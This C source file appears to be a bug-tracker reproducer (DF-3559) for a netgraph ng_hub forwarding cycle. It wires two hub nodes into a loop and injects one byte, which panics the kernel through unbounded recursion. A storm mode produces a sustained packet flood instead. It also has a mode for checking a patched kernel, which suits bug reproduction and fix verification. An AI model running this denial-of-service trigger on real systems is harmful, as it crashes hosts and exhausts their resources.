DF-3559 / hub_cycle.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 | /* * DF-3559 trigger -- netgraph7 ng_hub: pure-topology forwarding cycle. * * Graph (NO node-local config messages at all -- hub has no newhook * filter, so arbitrary hook names are accepted; entry needs only a * third hook on one hub): * * C(ng_socket data/control node "hbcyc") * | hook "e" * HL(hub) hooks { l1, a, b } * a <----> x HE(hub) hooks { x, y } * b <----> y * * One 1-byte packet injected at C.e: * HL rcv(l1) -> m_dup send to b, fwd item to a * HE rcv(x|y) -> fwd to the other hook (2-hook hub) * HL rcv(a|b) -> dup send to the OTHER cycle hook + fwd to l1 (socket) * ... every hop recurses synchronously through ng_snd_item -> * ng_apply_item -> rcvdata with no hop bound (stock) -> LWKT token * array overflow panic (DF-3540 class, ng_hub instance). * * ng7 user ABI identical to DF-3540's bpf_cycle.c (NG_VERSION 8 etc). * * Build: cc -O2 -o hub_cycle hub_cycle.c * Run (root, ng7 netgraph.ko + ng_socket.ko + ng_hub.ko loaded): * ./hub_cycle (expect panic within ~ms on stock kernel) * ./hub_cycle fixcheck (same graph; on patched kernel expect ELOOP * drop + survival) */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define AF_NG 32 #define NG_CONTROL 2 #define NG_DATA 1 #define NG_VERSION 8 #define GEN_COOKIE 1137070366 /* NGM_GENERIC_COOKIE (ng7) */ #define NGM_SHUTDOWN 1 #define NGM_MKPEER 2 #define NGM_CONNECT 3 #define NGM_NAME 4 #define NG_TYPESIZ 32 #define NG_HOOKSIZ 32 #define NG_NODESIZ 32 struct ngm_hdr_ { u_char version; u_char spare; u_short spare2; u_int arglen, cmd, flags, token, typecookie; char cmdstr[32]; }; struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; }; struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; struct ngm_name_ { char name[NG_NODESIZ]; }; struct ngm_connect_ { char path[512]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; /* DFly: sa_family_t is __uint8_t -> sockaddr_ng data starts at offset 2 */ struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; }; static u_int32_t tok = 0x4200; static int ngc(int cs, const char *path, u_int cookie, u_int cmd, const void *arg, size_t arglen) { struct ng_mesg_ m; struct sockaddr_ng_ sa; ssize_t n; memset(&m, 0, sizeof(m)); m.header.version = NG_VERSION; m.header.arglen = arglen; m.header.cmd = cmd; m.header.token = ++tok; m.header.typecookie = cookie; if (arglen) memcpy(m.data, arg, arglen); memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path); sa.sg_len = 2 + strlen(sa.sg_data) + 1; n = sendto(cs, &m, sizeof(m.header) + arglen, 0, (struct sockaddr *)&sa, sa.sg_len); if (n < 0) return (-1); return (0); } static void drain_data(int ds, int ms) { struct timeval tv = { ms / 1000, (ms % 1000) * 1000 }; fd_set r; char buf[512]; struct sockaddr_ng_ from; socklen_t fl = sizeof(from); FD_ZERO(&r); FD_SET(ds, &r); if (select(ds + 1, &r, NULL, NULL, &tv) > 0) { ssize_t n = recvfrom(ds, buf, sizeof(buf), 0, (struct sockaddr *)&from, &fl); if (n > 0) { buf[n < 60 ? n : 60] = 0; printf("DRAIN got %zd bytes from '%s': %02x ...\n", n, from.sg_data, (u_char)buf[0]); } } else printf("DRAIN nothing (timeout)\n"); fflush(stdout); } int main(int argc, char **argv) { struct ngm_mkpeer_ mkp; struct ngm_name_ nm; struct ngm_connect_ con; struct sockaddr_ng_ sa; int cs, ds; printf("hub_cycle: uid=%d argv0=%s (DF-3559 ng7 hub cycle)\n", getuid(), argc > 0 ? argv[0] : "?"); fflush(stdout); cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { printf("RESULT control-socket errno=%d (%s)\n", errno, strerror(errno)); if (errno == EPERM) printf("RESULT unpriv-gated: ng7 ngc_attach " "caps_priv_check -> EPERM (root-only trigger)\n"); exit(0); } memset(&nm, 0, sizeof(nm)); strcpy(nm.name, "hbcyc"); if (ngc(cs, ".", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0) printf("STEP name failed errno=%d (continuing)\n", errno); fflush(stdout); ds = socket(AF_NG, SOCK_DGRAM, NG_DATA); if (ds < 0) { printf("RESULT data-socket errno=%d\n", errno); exit(1); } memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; strcpy(sa.sg_data, "hbcyc:"); sa.sg_len = 2 + strlen(sa.sg_data) + 1; if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) { printf("RESULT data-connect errno=%d (%s)\n", errno, strerror(errno)); exit(1); } printf("STEP sockets ready\n"); fflush(stdout); /* * Two constructions: * * sync (default): entry hook of the 3-hook hub created LAST so the * single synchronous NG_FWD_ITEM_HOOK of ng_hub_rcvdata stays on * a cycle hook -> the SAME item recurses synchronously through * ng_snd_item -> ng_apply_item -> rcvdata with no hop bound * (stock) -> LWKT token array overflow panic (DF-3540 class). * * storm: entry hook created FIRST (hub born from the socket) so * the FWD drains to the socket and the cycle keeps running via * the ASYNC m_dup successors (fresh items are queued by * ng_snd_item's refs==1 rule) -> sustained packet-multiplication * storm (~10.5k pkt/s measured) burning a netgraph worker * thread + mbufs from ONE injected byte, no panic. */ { const char *mode = (argc > 1) ? argv[1] : "sync"; struct ngm_rmhook_ { char ourhook[NG_HOOKSIZ]; }; if (strcmp(mode, "storm") == 0) { /* storm mode: hub born from the socket; entry hook * first-created -> iterated LAST -> FWD drains to * the socket; cycle runs on async m_dup successors */ memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "e"); strcpy(mkp.peerhook, "l1"); if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { printf("RESULT mkpeer-HL errno=%d\n", errno); exit(1); } memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "a"); strcpy(mkp.peerhook, "x"); if (ngc(cs, "e", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { printf("RESULT mkpeer-HE errno=%d\n", errno); exit(1); } memset(&con, 0, sizeof(con)); strcpy(con.path, "a"); strcpy(con.ourhook, "b"); strcpy(con.peerhook, "y"); if (ngc(cs, "e", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0) { printf("RESULT connect errno=%d\n", errno); exit(1); } printf("STEP storm graph built: HL{l1,a,b}<->{x,y}HE\n"); fflush(stdout); goto inject; } /* sync mode: HE born attached to the socket (temporary hook x) */ memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "w"); strcpy(mkp.peerhook, "x"); if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { printf("RESULT mkpeer-HE errno=%d (%s)\n", errno, strerror(errno)); exit(1); } /* HL under HE.y<->HL.a */ memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "hub"); strcpy(mkp.ourhook, "y"); strcpy(mkp.peerhook, "a"); if (ngc(cs, "w", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { printf("RESULT mkpeer-HL errno=%d (%s)\n", errno, strerror(errno)); exit(1); } /* close the ring: HE.b <-> HL.c */ memset(&con, 0, sizeof(con)); strcpy(con.path, "y"); strcpy(con.ourhook, "b"); strcpy(con.peerhook, "c"); if (ngc(cs, "w", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0) { printf("RESULT connect-cycle errno=%d (%s)\n", errno, strerror(errno)); exit(1); } /* name HE so the socket can re-connect to it by name */ memset(&nm, 0, sizeof(nm)); strcpy(nm.name, "hecyc"); if (ngc(cs, "w", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0) printf("STEP name-HE errno=%d (continuing)\n", errno); /* drop the birth hook (socket.w + HE.x die together) */ { struct ngm_rmhook_ rm; memset(&rm, 0, sizeof(rm)); strcpy(rm.ourhook, "w"); if (ngc(cs, ".", GEN_COOKIE, 5 /* NGM_RMHOOK */, &rm, sizeof(rm)) < 0) { printf("RESULT rmhook errno=%d (%s)\n", errno, strerror(errno)); exit(1); } } /* fresh entry hook, created LAST on HE => iterated FIRST */ memset(&con, 0, sizeof(con)); strcpy(con.path, "hecyc:"); strcpy(con.ourhook, "e"); strcpy(con.peerhook, "x2"); if (ngc(cs, ".", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0) { printf("RESULT connect-entry errno=%d (%s)\n", errno, strerror(errno)); exit(1); } } printf("STEP cycle built: HE{y,b,x2e}<->{a,c}HL, entry C.e created last " "(FWD stays in-cycle), NO node-local config was needed\n"); fflush(stdout); inject: printf("STEP injecting 1 byte ...\n"); fflush(stdout); memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; strcpy(sa.sg_data, "e"); sa.sg_len = 2 + strlen(sa.sg_data) + 1; if (sendto(ds, "X", 1, 0, (struct sockaddr *)&sa, sa.sg_len) < 0) printf("STEP sendto errno=%d (%s)\n", errno, strerror(errno)); else printf("STEP sendto ok\n"); fflush(stdout); /* measure the circulation: drain continuously for 15s, counting */ { char buf[512]; int total = 0, per; struct timeval t0; gettimeofday(&t0, NULL); for (;;) { struct timeval now, tv = { 0, 200000 }; /* 200ms */ fd_set r; double dt; FD_ZERO(&r); FD_SET(ds, &r); if (select(ds + 1, &r, NULL, NULL, &tv) > 0) { ssize_t n2 = recvfrom(ds, buf, sizeof(buf), 0, NULL, NULL); if (n2 > 0) total++; } gettimeofday(&now, NULL); dt = (now.tv_sec - t0.tv_sec) + (now.tv_usec - t0.tv_usec) / 1e6; if (dt >= 15.0) { printf("DRAIN total=%d packets in %.1fs " "(%.1f pkt/s)\n", total, dt, total / dt); fflush(stdout); break; } } per = total; sleep(10); /* any more after a 10s pause? */ { struct timeval tv = { 1, 0 }; fd_set r; FD_ZERO(&r); FD_SET(ds, &r); if (select(ds + 1, &r, NULL, NULL, &tv) > 0) { while (recvfrom(ds, buf, sizeof(buf), MSG_DONTWAIT, NULL, NULL) > 0) per++; } } printf("DRAIN total_after_pause=%d (delta=%d)\n", per, per - total); fflush(stdout); } sleep(15); printf("RESULT no-panic survived 40s (see DRAIN counters for " "circulation state)\n"); return (0); } |